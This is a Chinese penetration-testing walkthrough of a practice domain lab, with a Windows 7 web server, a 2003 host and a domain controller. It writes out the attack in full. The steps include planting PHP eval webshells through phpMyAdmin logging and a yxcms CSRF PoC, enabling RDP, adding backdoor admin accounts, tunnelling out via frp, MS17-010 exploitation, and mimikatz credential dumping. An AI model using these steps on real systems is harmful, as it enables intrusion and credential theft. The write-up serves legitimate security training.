- A+
Over the mountains,mountains.我翻山越岭,才发现无人等候。
这个靶场是红日安全团队的一个靶场项目~ 非常好,方便了我这类懒得搭建域(不会)的人。
如有谬误恳请指出
环境下载
网络环境
Windows 7有双网卡,也就是内外网IP
外网IP:192.168.31.129
内网IP:192.168.52.143
且此服务器存在yxcms
Windows 2008只有内网网卡
内网IP: 192.168.52.138
Win2k3只有内网网卡
内网IP:192.168.52.141
很明显,要想访问Windows 2008和Win2k3服务器必须要拿下Windows 7服务器,用它做跳板进内网进行横向渗透。
攻击过程
0×1.获取WEBSHELL
得知是yxcms,直接百度一把搜,找到如下文章
这里都是需要后台才可以getshell的,自己审计不太现实,故打开默认后台试试弱口令
将登录的数据包放入Repeater重放多次发现验证码没有自动刷新,故可以爆破,然后填了密码字典后放着等他跑,看看其他的点是否有漏洞~
这里爆破出了phpMyAdmin,然后打开试试弱口令root/root直接就进去了
phpMyAdmin GetShell
set global general_log=on; # 开启日志
set global general_log_file='C:/phpstudy/www/fuck.php'; # 设置日志位置为php代码,然后保存的日志内容写上shell就可以了
select '<?php eval($_POST["fuck"]); ?>' # 这段查询会带入到日志中,然后就成功变成WebShell了
然后使用蚁剑连接
然后yxcms后台这边burp也跑出密码来了
账户密码为:admin/123456,进入后台,直接上高速打POC
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.31.129/yxcms/index.php?r=admin/set/tpadd&Mname=default" method="POST">
<input type="hidden" name="filename" value="fuck" />
<input type="hidden" name="code" value="<?php eval($_POST["fuck"]);?>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
打开如上html页面就会在生成一个WebShell在http://192.168.31.129/yxcms/protected/apps/default/view/default/fuck.php页面,密码为fuck
0×2.内网渗透
首先查看是什么权限,是否有域
管理员权限,且有域~
然后一般拿下window的话我都会选择去连接它的远程桌面(PORT:3389)
输入netstat -ano | find “3389″没有回显,证明未开启远程桌面服务,用如下命令开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
成功开启。
然后开启了3389后可以选择读管理员的明文密码或添加用户,前者可能因为读不出明文密码(03前的操作系统使用LM HASH加密明文,可逆,越后的系统都使用新的加密NTLM HASH),所以这里选择后者添加密码
C:\phpStudy\WWW> net user test @!FuckSEC!@ /add # 添加账户密码
命令成功完成。
C:\phpStudy\WWW> net localgroup administrators test /add # 给test账户添加为管理员权限
命令成功完成。
C:\phpStudy\WWW> net user test # 查询是否成功添加test用户
用户名 test
全名
注释
用户的注释
国家/地区代码 000 (系统默认值)
帐户启用 Yes
帐户到期 从不
上次设置密码 2020/2/1 10:27:52
密码到期 2020/3/14 10:27:52
密码可更改 2020/2/2 10:27:52
需要密码 Yes
用户可以更改密码 Yes
允许的工作站 All
登录脚本
用户配置文件
主目录
上次登录 从不
可允许的登录小时数 All
本地组成员 *Administrators *Users
全局组成员 *None
命令成功完成。
然后使用账号密码test/@!FuckSEC!@登录远程桌面
哦吼!fuck
一开始猜测可能是防火墙禁止3389端口进出网,然后经过端口转发后才发现并不是,如图
防火墙开启了阻止所有与未在允许程序列表中的程序的连接,换句话说,设置了白名单,只能本地连接,那么我们使用ngrok的frp创建一个TCP隧道
1、首先在http://ngrok.cc/user.html注册用户,然后开通FRP服务器
2、下载frp客户端工具
将工具上传至目标服务器,然后执行如下命令
sunny.exe --clientid=隧道id
3、然后连接xxxx.xxxx.xxx:10062
内网已进入,然后我习惯性直接上去关防火墙,然后用cs上线
这个线上的很心塞。。
生成了好多shell然后过了好一会才过来。
0×3.信息收集
1、使用ipconfig /all看网络环境(查询是否有域)
2、net config Workstation查询当前计算机名、计算机全名、用户名、工作站、软件版本、工作站域、工作站域 DNS 名称、登录域
这样也能看
3、查看进程tasklist /v 有些进程可能是域用户启的>通过管理员权限 凭证窃取 > 窃取域用户的凭证
4、显示正由指定的计算机共享的域、计算机或资源的列表。如果在没有参数的情况下使用,则net view显示当前域中的计算机列表。
这里OWA主机是主域控制器,IP为192.168.52.138,然后还有一个主机名为ROOT-TVI862UBEH,IP为192.168.52.141(环境3)
而本机不是域机器所以跑不出域相关信息,着重于横向渗透。
目前知道的数据就行了,然后在本地抓一下管理员密码(Cs跑内存HASH、注册表HASH)
0×4.密码获取
1、直接用cs的hashdump读内存密码。
2、用mimikatz读注册表密码
beacon> logonpasswords
读出的信息...
我们可以直接在Credentials模块下看的清清楚楚
这里直接抓取了Administrator的明文密码hongrisec@2019
0×5.横向渗透
横向渗透一般就是获取内网其他主机的权限
我比较喜欢用msf来进行横向渗透,所以这里要使用到msf,但是Win2k3和Window 2008都是内网主机,我们攻击机的msf无法访问,所以我们要在Window s7上开启一个隧道,将msf带入内网。
开通隧道带msf进内网
1、在cs上开通socks通道
socks 9999
2、在攻击机上设置proxychains
vi /etc/proxychains.conf
socks4 127.0.0.1 9999
小白肯定会问为什么这里设置的代理是127.0.0.1 9999,因为我cs的服务端是kali,然后在cs执行socks 9999相当于在我kali上开通一个9999的socks代理,然后我kali直接连本地的9999端口就可以了
3、使用代理打开msf
proxychains msfconsole
这样msf就成功进内网啦
然后这里尝试去跑一下MS08-067(失败)
插播! 这里用cs的socks代理不稳定,我上传了ew开了1080监听然后也是使用proxychains代理
端口探测
因为目标机安装了nmap所以直接跑了
开启了445端口,然后这里试了下ms08-067,失败告终。
拿下xp
然后尝试了admin/smb/ms17_010_command这个模块发现是可以的
然后直接执行添加用户命令
net user test @!FuckSEC!@ /add
net localgroup administrators test /add
查看是否添加成功
然后开启他的3389
2003上开启3389的命令行语句
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
然后使用proxychains连接他的3389
proxychains rdesktop 192.168.52.141
然后这里我想让2003系统上上线Cs,操作过程看我这篇文章
对xp的信息收集
常规的信息收集
ipconfig /all
查看网络环境
有Primary Dns Suffix 说明是域内 为域机器
然后查看当前登录域
net config workstation
然后依次类推查询,发现192.168.52.138是主域机器
干他!
对域机器进行渗透
端口探测
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49161/tcp open unknown
49167/tcp open unknown
使用445添加用户
445开放,使用admin/smb/ms17_010_command成功,只能一条一条命令执行…
然后执行添加用户的语句
用户还是test密码还是@!FuckSEC!@
使用ipc上传上线马
这里使用ipc连接上传上线马,然后用计划任务执行该文件
上线成功
然后使用mimikatz跑一下密码
直接就把域管账号密码跑下来了~
致此先这里完结一段落,后续学历了痕迹清理、隐藏攻击手段等技术后再续
祝我在内网之旅中开心成长~
*本文原创作者:Hackhy,本文属于FreeBuf原创奖励计划,未经许可禁止转载